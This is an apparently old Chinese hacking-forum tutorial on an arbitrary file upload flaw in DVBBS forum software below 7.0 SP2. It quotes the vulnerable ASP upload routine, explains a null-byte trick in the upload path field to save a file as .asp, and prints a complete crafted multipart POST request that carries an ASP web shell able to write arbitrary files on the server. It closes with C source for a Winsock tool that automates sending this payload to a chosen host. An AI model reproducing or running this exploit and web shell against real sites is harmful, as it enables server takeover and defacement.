最近一段時(shí)間比較忙,沒什么時(shí)間為組織做貢獻(xiàn)(實(shí)在是沒實(shí)力,呵呵).剛好前一段時(shí)間聽小豬（豬蛋兒的《目前流行的BBS安全性比較》一文請參閱：http://wvw.ttian.net/forum/viewtopic.php?id=269）說動(dòng)網(wǎng)論壇出了一個(gè)上傳任意文件的漏洞,當(dāng)時(shí)沒怎么明白.但是我看到最近NB論壇上全部都在討論有關(guān)這方面的問題,就研究了一下,發(fā)現(xiàn)這個(gè)漏洞確實(shí)存在,而且非常嚴(yán)重,用小豬的話說是DVBBS7.0 SP2以下通殺.雖然有些人已經(jīng)知道了攻擊方法,但是還是存在一些問題.下面我就動(dòng)網(wǎng)的這個(gè)漏洞做一下講解.(不知道會(huì)不會(huì)被人罵,因?yàn)檫@個(gè)漏洞實(shí)在太大了). 我們先看一下動(dòng)網(wǎng)論壇上傳文件的相關(guān)代碼: '===========無組件上傳(upload_0)==================== sub upload_0() set upload=new UpFile_Class ''建立上傳對(duì)象 upload.GetDate (int(Forum_Setting(56))*1024) '取得上傳數(shù)據(jù),不限大小 iCount=0 if upload.err > 0 then select case upload.err case 1 Response.Write "請先選擇你要上傳的文件　[ <a href=# onclick=history.go(-1)>重新上傳</a> ]" case 2 Response.Write "圖片大小超過了限制 "&Forum_Setting(56)&"K　[ <a href=# onclick=history.go(-1)>重新上傳</a> ]" end select exit sub else formPath=upload.form("filepath") ''在目錄后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file ''列出所有上傳了的文件 set file=upload.file(formName) ''生成一個(gè)文件對(duì)象 if file.filesize<100 then response.write "請先選擇你要上傳的圖片　[ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不正確　[ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then ''如果 FileSize > 0 說明有文件數(shù)據(jù) file.SaveToFile Server.mappath(filename) ''保存文件 ' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 個(gè)文件上傳結(jié)束!" end if end sub 在上面代碼中可以看到這樣一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這里,filename是保存的文件名,它是依照上傳時(shí)間來命名的,最后擴(kuò)展名是表單中提交過來的文件的擴(kuò)展名.但是程序中對(duì)提交文件的類型做了限制,顯然想直接上傳ASP文件是不可行的.但是我們來看一下做為后輟的依據(jù)從哪里來的呢?我們可以在reg_upload.asp中找到這樣的代碼: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 這樣,我們知道了,程序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁面遞交我們的ASP文件也是行不通了,但是,如果是我們自己構(gòu)造數(shù)據(jù)包的話就不一樣了.欲望之翼提出的方法就是自已構(gòu)造數(shù)據(jù)包來達(dá)到欺騙的目的.將提交的file1表單和fname表單項(xiàng)的值改成合法的文件名稱.這樣就可以繞過文件類型的檢測了. 當(dāng)然,主要的問題不在這里,如果我們只是要上傳那些代碼的話,我們完全可以直接改文件名就好了.我們的目的是要讓我們上傳的文件名改成ASP,這樣我們才可以利用.關(guān)鍵就在這一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這句話將一段字符串合并起來.我們能改的就是formPath這個(gè)參數(shù).在計(jì)算機(jī)中檢測字符串的關(guān)鍵就是看是否碰到'\0'字符,如果是,則認(rèn)為字符串結(jié)束了.也就是說我們在構(gòu)造上傳文件保存路徑時(shí),只要欺騙計(jì)算機(jī),讓他認(rèn)為類似"uploadface\zwell.asp"這樣的路徑參數(shù)已經(jīng)結(jié)束了,這樣,后面一連串的時(shí)間字符我們都可以不要,從而達(dá)到直接將文件保存為我們定義的文件名的目的.因些,我們要做的是在構(gòu)造的數(shù)據(jù)包中,將表單中的filepath改成類似uploadface\zwell.asp'\0'的字符串然后發(fā)送出去就行了. 我們先來看一下數(shù)據(jù)包的格式(論壇上好像大家用的是WSockExpert,不過我用的是IRIS,我覺得更專業(yè)一點(diǎn),^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace\zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:\1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action='''' method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:\1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上傳 -----------------------------7d4a325500d2-- 上面的數(shù)據(jù)我是在WIN2003下調(diào)試的.按我前面講的,只要改幾個(gè)地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif" 2.Content-Disposition: form-data; name="fname" C:\1.gif 3.最重要的地方:uploadFace\zwell.asp,怎么加一個(gè)空字符呢?用UltraEdit是個(gè)好方法,用16進(jìn)制編輯,(因?yàn)?\0'這個(gè)字符也占一個(gè)位置,所以我們先打入一空格,然后再在UltraEdit里將對(duì)就空格符的20改成00). 至于,最前面的那一段,直接從抓包工具中提取就是了.而且隨便一個(gè)都行.但是最重要的是要注意這一句: Content-Length: 1593 很多人測試都沒成功,就因?yàn)檫@個(gè)值設(shè)的不對(duì),其實(shí)這個(gè)值很好算,是從第一個(gè)"-----------------------------7d4a325500d2"開始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起換行作用,占兩個(gè)字符.我看論壇上大家論壇時(shí)都是說加一個(gè)字符值就加一,不是說不對(duì),只是還要這樣數(shù),代碼短倒無所謂,代碼要是很長怎么辦呢?:),這里告訴大家一個(gè)簡單的方法:打開記事本,將算長度的代碼復(fù)制到記事本,保存,然后看屬性就一目了然了,一個(gè)字符都不會(huì)錯(cuò).只是有一點(diǎn)必須注意,必須將最后的那幾個(gè)換行也復(fù)制進(jìn)來.很多人就是因?yàn)闆]有復(fù)制換行才失敗的.

寫了這么多,我們也看到,每一個(gè)這樣改太不方便,做了工具是必須的了,呵呵,具體不多說了,部分代碼如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragma comment(lib,"ws2_32.lib") HINSTANCE g_hInst; HWND g_hWnd; HWND m_up; HWND m_host; HWND m_webpath; HWND m_path; HWND m_filename; HWND m_upload; DWORD m_theadid; BYTE sendbuf[10000]; char host[80]; //主機(jī)地址 char bbspath[50]; //論壇地址 char uppath[20]; //上傳目錄 char upfilename[50]; //上傳文件名 char upfiledata[8000]; //上傳文件內(nèi)容 int sendsize; //總傳送數(shù)據(jù)大小 int realsndsize = 0; //傳送頁面文件的大小 char snddata[8000]; char mm[1000]= "<%dim objFSO%>\r\n" "<%dim fdata%>\r\n" "<%dim objCountFile%>\r\n" "<%on error resume next%>\r\n" "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n" "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n" "<%fdata = request(\"cyfddata\")%>\r\n" "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n" "<%objCountFile.Write fdata%>\r\n" "<%if err =0 then%>\r\n" "<%response.write \"<font color=red>save Success!</font>\"%>\r\n" "<%else%>" "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n" "<%end if%>\r\n" "<%err.clear%>\r\n" "<%end if%>" "<%objCountFile.Close%>\r\n" "<%Set objCountFile=Nothing%>\r\n" "<%Set objFSO = Nothing%>" "<%Response.write \"<form action=\'\' method=post>\"%>\r\n" "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n" "<%Response.Write \"<br>\"%>\r\n" "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n" "<%Response.write \"<br>\"%>\r\n" "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n" "<%Response.write \"<input type=submit value=save>\"%>\r\n" "<%Response.write \"</form>\"%>\r\n"; //獲得控件文本 char *gettext(HWND chwnd) { char tmpbuf[10000]; SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); return tmpbuf; } //設(shè)置控件文本 void settext(HWND chwnd,char *text) { SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) { char tmp[10]; sprintf(tmp, "%d", data); return tmp; } //上傳線程 DWORD WINAPI uploadthread(LPVOID param) { SOCKET s; sockaddr_in sin; struct hostent * hp; unsigned int addr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory((void *)&sin, sizeof(sin)); hp = gethostbyname(gettext(m_host)); if (!hp) addr = inet_addr(gettext(m_host)); if ((!hp) && (addr == INADDR_NONE) ) { MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK); return 0; } if (hp != NULL) memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length); else sin.sin_addr.s_addr = addr; sin.sin_port = htons(80); sin.sin_family = AF_INET; strcpy(host, gettext(m_host)); strcpy(bbspath, gettext(m_webpath)); strcpy(upfiledata, gettext(m_upload)); strcpy(uppath, gettext(m_path)); strcpy(upfilename, gettext(m_filename)); realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1; sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n" "%s\\%s", bbspath, host, realsndsize, uppath, upfilename); sendsize = strlen((char *)sendbuf); sendbuf[sendsize] = '\0'; sprintf(snddata, "\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"act\"\r\n\r\n" "upload\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n" "Content-Type: text/plain\r\n\r\n" "%s\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"fname\"\r\n\r\n" "C:\\1.gif\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n" "上傳\r\n" "-----------------------------7d4a325500d2--\r\n\r\n", upfiledata); strcat((char *)&sendbuf[sendsize+1], snddata); sendsize += strlen(snddata); sendsize += 1; if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))) { MessageBox(g_hWnd, "連接出錯(cuò)!", "出錯(cuò)提示:", MB_OK|MB_IConERROR); return 0; } int sendsz = send(s, (char *)sendbuf, sendsize, 0); if(sendsz <= 0) MessageBox(g_hWnd, "發(fā)送數(shù)據(jù)失敗", itos(WSAGetLastError()), MB_OK); char recvbuf[10000]; recv(s, (char*)recvbuf, 10000, 0); settext(m_upload, recvbuf); closesocket(s); return 0; } void WINAPI On_Command(WPARAM wParam) { switch (LOWORD(wParam)) { case ID_UP: CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid); break; case IDCANCEL: SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL)); break; } } static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: g_hWnd = hWndDlg; m_up = GetDlgItem(g_hWnd, ID_UP); m_host = GetDlgItem(g_hWnd, IDC_EDIT1); m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2); m_path = GetDlgItem(g_hWnd, IDC_EDIT3); m_upload = GetDlgItem(g_hWnd, IDC_EDIT4); m_filename = GetDlgItem(g_hWnd, IDC_EDIT5); settext(m_host, "192.168.10.101"); settext(m_webpath, "/"); settext(m_path, "uploadface"); settext(m_filename, "zwell.asp"); settext(m_upload, mm); return TRUE; case WM_COMMAND: On_Command(wParam); break; case WM_SIZE: break; case WM_CLOSE: EndDialog(g_hWnd,0); break; } return FALSE; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsaData; g_hInst=hInstance; if(WSAStartup(MAKEWORD(1, 1), &wsaData)) { MessageBox(NULL,"無法初始化 Winsock DLL\t","錯(cuò)誤",MB_OK|MB_ICONSTOP); return 0; } DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc); WSACleanup(); return 1; }